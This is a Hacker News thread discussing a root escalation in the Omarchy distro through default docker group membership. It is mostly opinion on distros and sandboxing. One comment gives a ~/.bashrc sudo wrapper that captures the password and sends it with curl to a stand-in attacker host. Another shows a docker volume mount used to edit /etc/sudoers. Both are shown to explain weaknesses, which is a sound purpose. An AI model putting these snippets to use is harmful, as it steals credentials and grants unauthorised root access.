logoalt Hacker News

Omarchy: Any User Process Can Escalate to Root

476 pointsby trap0xccyesterday at 3:59 PM458 commentsview on HN

Comments

concindsyesterday at 5:01 PM

A few days ago someone found they were flowing USB descriptors straight into the shell.

https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8...

Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

show 11 replies
thehamkercatyesterday at 4:47 PM

I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does.

(example: NetworkChuck, Primeagen? and a few others)

also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it

[1] - https://wiki.archlinux.org/title/Archinstall

show 9 replies
mike_hearnyesterday at 4:56 PM

Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works. So this is kind of security theatre. If you run a malicious program it can do stuff like tamper with your PATH or exploit local vulns in apps to get to the point where it can control anything that matters (which root generally doesn't). For instance it can just drop a custom shell into ~/.bin/.hidden-shell and reconfigure the terminal emulator to run it.

So this kind of "vulnerability" doesn't seem that important. If you run code as yourself on Linux it owns you.

On macOS it's very different. Pervasive code signing gives all apps a stable identity enforced by the kernel that they can't easily escape. The kernel can then impose sandboxing policies on any app that's run regardless of how it's installed, for instance, preventing apps from rummaging through ~/Documents or monitoring your screen. Permissions are editable and guaranteed to stick, including across upgrades. And root is disempowered so obtaining it barely matters, it's only really there for UNIX compatibility.

Unfortunately implementing an Apple style architecture on Linux would be very difficult.

show 6 replies
lrvickyesterday at 5:13 PM

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater.

Malware just need to put this in ~/.bashrc and wait:

function sudo () {

    realsudo=$(which sudo)

    read -r -s -p "[sudo] password for $USER: " password

    echo "$USER: $password" | \

        curl -F 'p=<-' https://attacker.com >/dev/null 2>&1


    $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1

    $realsudo "${@:1}"

}
show 7 replies
exitbyesterday at 4:43 PM

It’s not great, but I’m not sure this should be framed as Omarchy-specific, when it’s a very common setup to add regular user to the docker group.

show 9 replies
sashank_1509today at 2:10 AM

Ubuntu is good enough. I never got the point of tiling window managers, because the most important part of daily computing, browsing the web requires you to use the mouse. I’ve tried keyboard only browsers, none of them are as intuitive as just using a mouse and they can’t be, especially considering the prevalence of hyperlinks.

I guess while coding it is nice, but I can switch between the terminal and my editor in a single key in Ubuntu itself so I don’t see the point of this.

show 1 reply
darkwi11owyesterday at 4:30 PM

Why not use rootless podman? It is 2026 not 2016, Podman works much better than Docker today.

show 5 replies
trentnixyesterday at 6:15 PM

The Docker configuration issue was reported and changes were made quickly to address it. Sounds like this is a great example of the system working well.

Omarchy looks like a simple way for a developer like me to test drive hyprland and write code. It also looks like a great way for my kids to get into computers as there's an agent harness ready to help them manage their machine and use free software, even the stuff that's a bit obtuse.

I'm bewildered that people are mad about any of this, but then I remember I don't care what the gatekeepers think anymore.

show 3 replies
moojacobyesterday at 10:47 PM

Omarchy has me questioning liking Rails because it just… straight up sucks?

It comes preloaded with friggen ZOOM. I don’t think Windows bloat is that bad.

If it makes people happy it makes people happy I guess. These guys trying it would be even more amazed at Fedora Workstation (“you can press windows and it shows all your open windows? That’s so much better”)

show 4 replies
hashstringyesterday at 10:38 PM

No one serious about security touches Omarchy.

Practically every distro suffers from critical LPEs, but at least there’s a bar.

Omarchy is a hot mess that exists for the same reason that matcha is in our coffeeshops and peptides are in our collective memory.

show 2 replies
pkulakyesterday at 6:58 PM

Wow... this is really telling. This isn't some obscure whoopsie. The docker install page has a giant section explaining exactly this problem. Every Docker section on every distro wiki walks through this issue in detail. It 80% the reason Podman was created in the first place.

mentalgearyesterday at 10:41 PM

Friends dont let friends use Omarchy or [claw] products.

antiloperyesterday at 4:41 PM

Installing docker by default is completely insane. What are they doing? Rootless podman has been around for many years at this point.

show 1 reply
nilknyesterday at 11:35 PM

My most controversial opinion by far in tech circles is that I still just use a standard Windows gaming PC as my home desktop. My current machine I just bought pre-built from Microcenter, complete with a 5090 and everything.

I can fire up a Linux terminal with WezTerm and WSL2 at any point. It's customized and beautiful and totally fine. I have Codex running in one right now. I can listen to Dolby Atmos music through Apple Music or fire up a game with zero compatibility issues and full RTX support. It's just versatile like nothing else. I pair it with a gigantic 48" LG OLED TV as my monitor.

The only thing that might tempt me away from this is a fully loaded Mac Studio with 512GB of unified memory. That would be a real capability gap from my current machine. But I've contemplated wiping Windows and installing Omarchy, and I just can't figure out really what I'd gain, but what I'd lose is quite clear.

show 2 replies
felixfurtakyesterday at 9:21 PM

There are definitely a few security holes in Omarchy. I tried installing their win11 docker script and that just saves the username and password of the Windows VM as plain text in a config file.

I like playing around with Omarchy since there are a lot of interesting ideas put together in a semi cohesive 'OS', but would probably not use it for anything serious until it became a bit more mature.

show 1 reply
teravoryesterday at 11:20 PM

there is currently no linux distribution where it's safe to run an application as is. they tend to have access to /home which is game over.

some people who actually care about security will create bubblewrap/bwrap profiles for applications and then run those profiles. an application isolated in this way will have a limited view of the system much less the ability to modify it. it usually takes the form of a custom /home for every app.

this still leaves the kernel exposed for an application to poke at and maybe escape with a 0day. some people run a VMM to further isolate the application, these days you can passthrough Wayland. if the application isn't graphical you should probably use gVisor instead.

shdhyesterday at 11:34 PM

Out of all the commentators here actually running Linux Desktop, I wonder how many have used Omarchy? To me its the best Linux desktop experience I've had without having to overly waste my time configuring things.

tasukiyesterday at 7:13 PM

Yes ok, but the moment you gain user access to my machine, I've already lost. The amount of damage you can do as root is about the same you can do as me.

comandillosyesterday at 6:01 PM

The docker escalation 'trick' is even a meme at this point

ruby_curmudgeonyesterday at 5:07 PM

Somebody should do an audit of Omarchy Plugins: https://plugins.omarchy.org/

They run completely unsandboxed and are unvetted.

pibakeryesterday at 4:45 PM

I was expecting a more sophisticated attack and then I scrolled down…

> Omarchy configured its default user as a member of the Linux docker group.

What the fuck? Docker makes it VERY, VERY clear this is unsafe. Feel free to verify the documentation.

https://docs.docker.com/engine/install/linux-postinstall/

Why would you want to make this the default for your users, without even telling them? Did someone configured his own system to work this way and decided it is a good idea to ship it as a part of an "opinionated" distro??? Makes you wonder how much other crap is there.

show 6 replies
dalmo3yesterday at 5:26 PM

I had no idea what Omarchy was, so I looked it up: https://omarchy.org/

Is there a name for a phobia of yt thumbnails?

show 1 reply
kodomanyesterday at 8:51 PM

Not an Omarchy user and use podman rather then docker. But is this not a docker issue rather then a Omarchy issue, docker should verify user permissions through the socket, it's quite bad that it does not no?

show 1 reply
archoleyesterday at 5:12 PM

As expected from a vibecoded "distro"

WhyNotHugoyesterday at 10:09 PM

I can't fathom why it's so common to run docker as root instead of as an unprivileged user.

Docker has supported running rootless mode for years. I packaged the docker-rootless into Arch/AUR over 4 years ago, so it's been around and stable that long.

Sure, on a server dedicated to running docker containers, maybe it makes sense for the marginal improvements to network latency. But otherwise, rootless should always be the default.

show 1 reply
andrewvcyesterday at 10:05 PM

Once you have a box vibe coding has happened on I wouldn’t trust anything on it. Thats why I vibe code on a fully separate machine.

Im not an Omarchy user but we now live in a world where most of the actions (including ones the llm asks users to run as root) originate from somewhere other than the users brain.

There will be a reckoning in terms of how we think about trust and auth in coming years. It’s just a matter of increasing severity of incidents .

wildsteryesterday at 5:05 PM

Debian 13 is good.

SamInTheShelltoday at 1:12 AM

Poor software choice for usecase. `sudo pacman -S podman` didn't come with these problems out of the box and assumed rootless by default.

addajonesyesterday at 6:15 PM

There were many amazing distros before Omarchy and there will be many after. Use whatever you want, vibecoded or not. Don't tell people what to do. Make your own decisions.

PaulHouleyesterday at 4:57 PM

I hate to be defending Omarchy but I think for the modern desktop OS like Linux or Windows or Mac OS, "root" is not what it used to be.

Like if I have something on my dev machines which is important from an enterprise perspective it is the credentials that I use to check things into the git repository or log into the postgresql database that are in some file or keyring or the credentials I used to log into some corporate IT system with my web browser. Or the Microsoft Word document with confidential plans, or the spreadsheet with personal data on 30,000 people that I don't really need to have, etc.

The "root" barrier is of limited effectiveness against those sort of attacks but the barrier between users is less important on a personal computer as opposed to the "minicomputer" world that gave birth to Unix.

In 1989 my school had a cluster of Sun Workstations running Unix for which student, faculty, and staff had accounts and it was a real threat model that you might steal the homework assignment of another student or you might take screenshots of the screen of the computer center's director that would let you watch him reading his email his email and such.

I more concerned that Apache is running under a "httpd" account or IIS is running under its own account so that I do have controls on what can be exfiltrated by that route but...

The modern developer is likely booting up a sinatra or JAXB or a httpx server on some high numbered port running as their own user so if they're going to get hit with data exfiltration or remote execution against a dev server the scope is most user files.

show 1 reply
yoyohello13yesterday at 7:41 PM

And the cycle continues. It’s funny seeing Omarchy (DHH) becoming popular when we had LARBS (Luke Smith) 8-10 years ago.

Something about a controversial personality pushing a window manager install script is really appealing to people I guess. At least it brings awareness that other desktop paradigms exist. Although after years of ‘optimizing’ my tiling window manager I just ended up back on KDE.

show 2 replies
qweqwe14yesterday at 4:41 PM

OK... and? This doesn't matter for a desktop, because:

1. Having access to the user's home directory is way more serious than being able to install drivers or whatever

2. There are a million other ways to escalate to root by obtaining the user's password

I also don't understand the point of these distros, just install Arch with KDE via archinstall, it literally takes 15 minutes. Why is it that people feel the need to use someone's Arch setup?

show 5 replies
kodomanyesterday at 8:53 PM

The scenario of running any agent on the host raw seems far fetched for most users. I think everyone is running these things in at least a container, I know I never trusted running claude code or any agent for that matter, but I might be a little paranoid on that front.

jksmithyesterday at 6:32 PM

Barely related, I decided to move on. Linux has been weaponized for self-promotion. So I'm happy just working with Beastie these days.

vinniepukhyesterday at 6:30 PM

anecdotal and fwiw, Omarchy is the first distro that "stuck". I've been using it on my desktop for a year now. I use it for personal projects and light gaming via Steam. Personal MacBook is only used when I want to compute on the couch. Work computer is also a MacBook. But everything else, Omarchy desktop.

Previous attempts with Ubuntu and PopOS! never stuck.

dmixyesterday at 10:54 PM

Docker should never be used as a sandbox for anything.

zer0zzztoday at 4:32 AM

I am a little unsure why folks keep getting convinced one new distro or another is gonna come and finally solve the Linux desktop adoption problem?

The fundamental problem linux distros have is that they dont agree on a fundamental set of libraries, user experience, or have a stable abi. We've had minimal disros before, we've had maximal install-everything distros before, and we've had special purpose distros before (ie knoppix, mythbuntu, Kali). But the same adoption problem remains.

Afaict Google and Valve have managed to meaningfully move things forward with chromeos, android, and steam OS. Tools like flatpak and others also have made a difference.

But if you're really going the typical distro route, it confounds me what the point of going outside of the typical and common debian/redhat/arch systems are especially when its one guy. Hell, I still remember SprezzOS (Nick Black's Distro) and that thing had more real goals worth praising than anything I see from Omarchy.

isattyyesterday at 4:59 PM

What on earth is an Omarchy

show 1 reply
delducayesterday at 4:39 PM

Is it not better to run a VM just for Docker, like we have to do on macOS?

show 4 replies
ahmetozeryesterday at 9:44 PM

Couple of months after this discovery, Internet explorer 11 will be released (October 17, 2013)

maxlintoday at 4:01 AM

I don't see a responsible disclosure timeline, putting doubt on the black/greyhat hacker, but am not surprised this was patched post-haste, unlike some less caring operations.

In any case, another reason to upgrade to Quattro! I just hope my 30€ Chromebook can handle it as well as it handled 3.

arjieyesterday at 5:12 PM

Surprised by this. I only ever use podman (which by default, runs rootless) these days and haven’t felt the need for docker. Feels like reading about a CVE in Compiz.

techscruggsyesterday at 4:34 PM

This is the type of security and vulnerability testing that actually matters. In a sea of security researcher noise, thank you for contributing in a meaningful way.

SwellJoeyesterday at 6:09 PM

"Opinionated" software sounds great until you find out the author has the stupidest opinions you've ever heard in your life.

show 3 replies
plqbfbvyesterday at 11:11 PM

docker access == root, as long as you can use volume mounts to arbitrarily mount anything else on the machine to a container. If the user is in the `docker` group, he's effectively root because he can patch around system files.

I once used this to recover lost sudoer access to a machine (have tested this now by editing my sudoer file with a comment):

~ docker run -it --rm -v /etc/sudoers:/etc/sudoers ubuntu bash

# apt update && apt install -y vim

# -- edit /etc/sudoers

# wq!

~ exit

~ sudo cat /etc/sudoers - works, comment is present

eahmyesterday at 8:53 PM

And here it begins…

Been using Linux on and off for 30+ years and I’ve always always had second thoughts about using anything outside the main 3-4 distros, and I mean forks, blends etc. let alone vibe coded distros, even *buntu feels like a stretch.

I really like DHH’s enthusiasm and what he’s trying to do but I will never touch that “distro”.

Debian/Devuan, Fedora/RHEL/Alma/Rocky, Arch/Artix, FreeBSD/OpenBS/NetBSD are all anyone will ever need.

You feel more adventurous? NixOS, Gentoo, Slackware, Void.

That’s it. No forks, no blends.

I keep Xebian and LMDE ISOs in my flash drive to show people but I don’t personally use even those.

People jumping all around these new distros that only seem to change a wallpaper without knowing the basics is a bad choice, like the first comment says, isn’t this the reason you wanted to move away from Windows in the first place?

Just take your time and enjoy learning, they are all so simple today compared to decades ago it’s crazy.

Thank you for listening to my TED talk.

Retr0idyesterday at 4:38 PM

Lol. This misconfiguration is so common and so trivial that LLMs have been known to exploit it unprompted, to complete their task.

show 2 replies
bakugoyesterday at 7:01 PM

Ubuntu has the exact same vulnerability, except with lxd instead of docker, but for some reason, it's considered working as intended.

On a fresh install of Ubuntu Server, the first user created is part of the lxd group, can install lxd without root thanks to snap, and can immediately create a privileged container with the host's root filesystem mounted inside.

tescrealyesterday at 11:45 PM

It's disappointing to see the way the developers are pushing this pre-alpha quality work. I don't know (nor care) about the personalities attached, but the pitch is neat. The way it is being handled with almost daily reports of RCE/Escalation is jaw dropping though. They need to spend some of those bux on auditing and less on whatever vibe-based engineering they're doing.

For haters: ignore them and recommend your favourite. For lovers: lobby the developers to raise their standards.

ghthoryesterday at 11:58 PM

If you editing your system config with an LLM and tool calls, why wouldn’t you just use NixOS. At least if the agent broke your system, you can basically recreate it from scratch in under 30mins (some things still might be outside the system/home-manager config). But yeah, then you get diffs of what the agent changed in a nixos/home-manager change.

I see almost zero reason for anyone to use anything else for they’re base system at this point.

🔗 View 22 more comments